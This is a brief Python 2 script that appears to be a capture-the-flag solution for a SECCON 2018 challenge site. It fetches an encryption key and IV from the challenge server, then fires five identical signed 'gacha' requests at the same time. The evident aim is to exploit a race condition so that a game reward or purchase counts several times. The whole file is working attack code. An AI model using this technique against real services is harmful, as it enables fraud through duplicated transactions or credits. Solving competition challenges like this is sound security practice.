import urlparse import requests import grequests from lib import * URL = 'https://cedec.seccon.jp' key, iv = KEY, IV uuid = sys.argv[1] s = requests.Session() data, sig = encrypt(key, iv, json.dumps({'uuid': uuid})) r = s.post(urlparse.urljoin(URL, '/2018/key'), data={'data': data}, headers={'X-Signature': sig}) metadata = json.loads(decrypt(key, iv, r.content.decode('base64')))['metadata'] key, iv = metadata['key'], metadata['iv'] data, sig = encrypt(key, iv, json.dumps({ "gacha": 10 })) reqs = [ grequests.post(urlparse.urljoin(URL, '/2018/gacha'), data={'data': data}, headers={'X-Signature': sig}, cookies=s.cookies), grequests.post(urlparse.urljoin(URL, '/2018/gacha'), data={'data': data}, headers={'X-Signature': sig}, cookies=s.cookies), grequests.post(urlparse.urljoin(URL, '/2018/gacha'), data={'data': data}, headers={'X-Signature': sig}, cookies=s.cookies), grequests.post(urlparse.urljoin(URL, '/2018/gacha'), data={'data': data}, headers={'X-Signature': sig}, cookies=s.cookies), grequests.post(urlparse.urljoin(URL, '/2018/gacha'), data={'data': data}, headers={'X-Signature': sig}, cookies=s.cookies) ] print grequests.map(reqs)